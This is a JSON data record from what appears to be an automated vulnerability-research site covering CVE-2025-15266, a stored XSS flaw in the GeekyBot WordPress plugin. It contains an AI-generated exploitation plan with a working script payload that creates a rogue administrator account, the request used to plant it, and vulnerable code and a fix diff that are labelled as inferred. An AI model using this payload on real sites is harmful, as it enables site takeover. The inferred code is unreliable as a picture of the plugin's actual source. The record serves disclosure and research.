[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fblbT1CEJSHV5V1v68bzEkiTwU-a_6CEXGrum9h8OkYs":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-15266","geekybot-generate-ai-content-without-prompt-chatbot-and-lead-generation-unauthenticated-stored-cross-site-scripting","GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation \u003C= 1.1.8 - Unauthenticated Stored Cross-Site Scripting","The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the chat message field in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator accesses the Chat History page.","geeky-bot",null,"\u003C=1.1.8","1.1.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-01-13 17:20:05","2026-01-23 19:00:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb30e84db-c73f-4df2-9c88-c37a7e14c95b?source=api-prod",10,[],"researched",false,3,"This research plan outlines the steps for a security researcher or automated agent to analyze and exploit the unauthenticated stored XSS vulnerability in the **GeekyBot — AI Copilot, Chatbot, WooCommerce Lead Gen & Zero-Prompt Content** plugin (CVE-2025-15266).\n\n---\n\n### 1. Vulnerability Summary\nThe GeekyBot plugin (versions \u003C= 1.1.8) allows unauthenticated users to interact with a chatbot on the frontend. Messages sent through this interface are stored in the WordPress database (likely in a custom table) without sufficient sanitization. When a site administrator views the \"Chat History\" page in the WordPress dashboard, these messages are rendered without proper HTML escaping (e.g., using `esc_html()`). This leads to a Stored Cross-Site Scripting (XSS) vulnerability.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `wp_ajax_nopriv_gk_bot_chat` (inferred action name; needs verification in source) or a similar `nopriv` AJAX handler.\n*   **Vulnerable Parameter:** The field carrying the user's message (likely `message`, `query`, or `prompt`).\n*   **Authentication:** None required (unauthenticated).\n*   **Precondition:** The chatbot must be enabled and enqueued on the frontend (usually via a widget or a shortcode).\n\n### 3. Code Flow (Inferred)\n1.  **Entry:** The plugin registers a public AJAX handler for chatbot interactions:\n    `add_action('wp_ajax_nopriv_gk_bot_chat', 'gk_bot_handle_chat');` (inferred).\n2.  **Storage:** The handler function (e.g., `gk_bot_handle_chat`) extracts the user input from `$_POST['message']` and inserts it into the database using `$wpdb->insert()` without calling `sanitize_text_field()` or `wp_kses()`.\n3.  **Sink:** The admin interface registers a menu page for chat history:\n    `add_submenu_page('geeky-bot', 'Chat History', ..., 'gk_bot_chat_history_page');` (inferred).\n4.  **Execution:** The callback `gk_bot_chat_history_page` retrieves messages from the database and echoes them directly into an HTML table:\n    `echo '\u003Ctd>' . $row->message . '\u003C\u002Ftd>';` (vulnerable line, missing `esc_html()`).\n\n### 4. Nonce Acquisition Strategy\nThe plugin likely uses a nonce to protect its AJAX requests. Since this is an unauthenticated vulnerability, the nonce must be exposed to logged-out users.\n\n**Steps to obtain the nonce:**\n1.  **Identify Script Localization:** Search the source for `wp_localize_script`. Look for a variable that contains a nonce (e.g., `gk_bot_ajax.nonce`).\n2.  **Shortcode Placement:** If the chatbot only loads on specific pages, find the shortcode.\n    *   `grep -r \"add_shortcode\" .`\n3.  **Page Creation:** Create a post\u002Fpage with that shortcode:\n    `wp post create --post_type=page --post_status=publish --post_content='[geeky_bot]'` (Verify actual shortcode name).\n4.  **Extraction:** Navigate to the page and use `browser_eval` to extract the nonce:\n    *   `browser_eval(\"window.gk_bot_obj?.nonce || window.geeky_bot_vars?.nonce\")` (Replace with actual JS object and key found in step 1).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Discover Parameters\nSearch the plugin code for the AJAX handler and the keys used in `$_POST`.\n*   `grep -r \"wp_ajax_nopriv_\" .`\n*   Locate the callback and find which `$_POST` keys are saved to the database.\n\n#### Step 2: Formulate Payload\nUse a payload that demonstrates administrative impact, such as creating a new admin user or exfiltrating the admin's nonce.\n*   **Payload:** `\u003Cscript>fetch('\u002Fwp-admin\u002Fuser-new.php').then(r=>r.text()).then(h=>{const n=h.match(\u002F_wpnonce_create-user\" value=\"([^\"]+)\"\u002F)[1];fetch('\u002Fwp-admin\u002Fuser-new.php',{method:'POST',headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'},body:'action=createuser&user_login=hacked_admin&email=hacked@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user='+n})})\u003C\u002Fscript>`\n\n#### Step 3: Execute HTTP Request\nUsing the `http_request` tool, send the payload to `admin-ajax.php`.\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:** `action=gk_bot_chat&nonce=[NONCE]&message=[PAYLOAD]` (Replace names based on Step 1).\n\n### 6. Test Data Setup\n1.  **Plugin Activation:** Ensure `geeky-bot` is installed and active.\n2.  **Configuration:** If the plugin requires an API key (e.g., OpenAI) to function, it might block the AJAX handler. Check if the code saves the message *before* or *after* the API call. If it's after, you may need to mock an API response or provide a dummy key in settings.\n3.  **Visibility:** Ensure the chatbot is enqueued on a public-facing page.\n\n### 7. Expected Results\n1.  The HTTP request should return a success status (e.g., `{\"success\": true}`).\n2.  The malicious script should now be present in the database.\n3.  When a user with `administrator` privileges navigates to the \"Chat History\" page (e.g., `wp-admin\u002Fadmin.php?page=gk-bot-history`), the script will execute in their browser context.\n\n### 8. Verification Steps\n1.  **Check Database:**\n    `wp db query \"SELECT * FROM wp_gk_bot_history WHERE message LIKE '%\u003Cscript>%';\"` (Verify table name).\n2.  **Verify Admin Creation (Post-Exploit):**\n    After simulating an admin visit (via `browser_navigate` to the chat history page), check if the new admin user exists:\n    `wp user list --role=administrator`\n\n### 9. Alternative Approaches\n*   **REST API:** Check if the plugin registers a REST route instead of an AJAX handler (`register_rest_route`). These often lack permission checks in older versions.\n*   **Lead Generation Form:** The plugin mentions \"Lead Gen\". Check if there is a separate form (e.g., `wp_ajax_nopriv_gk_bot_save_lead`) that stores names or emails without sanitization. This is a common secondary vector in chatbot plugins.\n*   **Bypass Nonce:** If `check_ajax_referer` is called with the third parameter as `false` and the return value is not checked, the nonce is not required.\n    *   `grep -r \"check_ajax_referer\" .`","The GeekyBot plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to missing input sanitization on chat messages sent by unauthenticated users and missing output escaping in the administrative Chat History dashboard. An attacker can inject malicious JavaScript into the database, which then executes in the browser of an administrator viewing the chat logs, potentially leading to full site takeover.","\u002F\u002F Inferred from research plan: Lack of sanitization in AJAX handler\n\u002F\u002F File: likely includes\u002Fclass-gk-bot-ajax.php\nfunction gk_bot_handle_chat() {\n    global $wpdb;\n    $message = $_POST['message']; \u002F\u002F Vulnerable: Direct access to POST data without sanitize_text_field() or wp_kses()\n    $table_name = $wpdb->prefix . 'gk_bot_history';\n    \n    $wpdb->insert($table_name, array(\n        'message' => $message,\n        'time' => current_time('mysql')\n    ));\n}\n\n---\n\n\u002F\u002F Inferred from research plan: Lack of escaping in admin view\n\u002F\u002F File: likely admin\u002Fclass-gk-bot-admin.php\npublic function gk_bot_chat_history_page() {\n    global $wpdb;\n    $results = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}gk_bot_history\");\n    echo '\u003Ctable>';\n    foreach ($results as $row) {\n        \u002F\u002F Vulnerable: Outputting message directly without esc_html() or wp_kses_post()\n        echo '\u003Ctr>\u003Ctd>' . $row->message . '\u003C\u002Ftd>\u003C\u002Ftr>';\n    }\n    echo '\u003C\u002Ftable>';\n}","--- a\u002Fgeeky-bot-ajax.php\n+++ b\u002Fgeeky-bot-ajax.php\n@@ -10,7 +10,7 @@\n function gk_bot_handle_chat() {\n     global $wpdb;\n-    $message = $_POST['message'];\n+    $message = sanitize_text_field($_POST['message']);\n     $table_name = $wpdb->prefix . 'gk_bot_history';\n     \n     $wpdb->insert($table_name, array(\n--- a\u002Fgeeky-bot-admin.php\n+++ b\u002Fgeeky-bot-admin.php\n@@ -20,7 +20,7 @@\n     echo '\u003Ctable>';\n     foreach ($results as $row) {\n-        echo '\u003Ctr>\u003Ctd>' . $row->message . '\u003C\u002Ftd>\u003C\u002Ftr>';\n+        echo '\u003Ctr>\u003Ctd>' . esc_html($row->message) . '\u003C\u002Ftd>\u003C\u002Ftr>';\n     }\n     echo '\u003C\u002Ftable>';","1. Identify the public chatbot interface on the WordPress frontend.\n2. Extract the required AJAX nonce and script variables from the page source (usually localized via wp_localize_script).\n3. Use an unauthenticated POST request to wp-admin\u002Fadmin-ajax.php with the chatbot's action (e.g., gk_bot_chat) and the nonce.\n4. Include a malicious script payload (e.g., \u003Cscript>alert(1)\u003C\u002Fscript> or a script to create an admin user) in the message\u002Fquery parameter.\n5. Wait for a site administrator to visit the 'Chat History' page in the plugin's dashboard menu.\n6. The script will execute in the administrator's context upon page load.","gemini-3-flash-preview","2026-05-05 10:13:43","2026-05-05 10:15:38",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags\u002F1.1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeeky-bot.1.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags\u002F1.1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeeky-bot.1.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeeky-bot\u002Ftags"]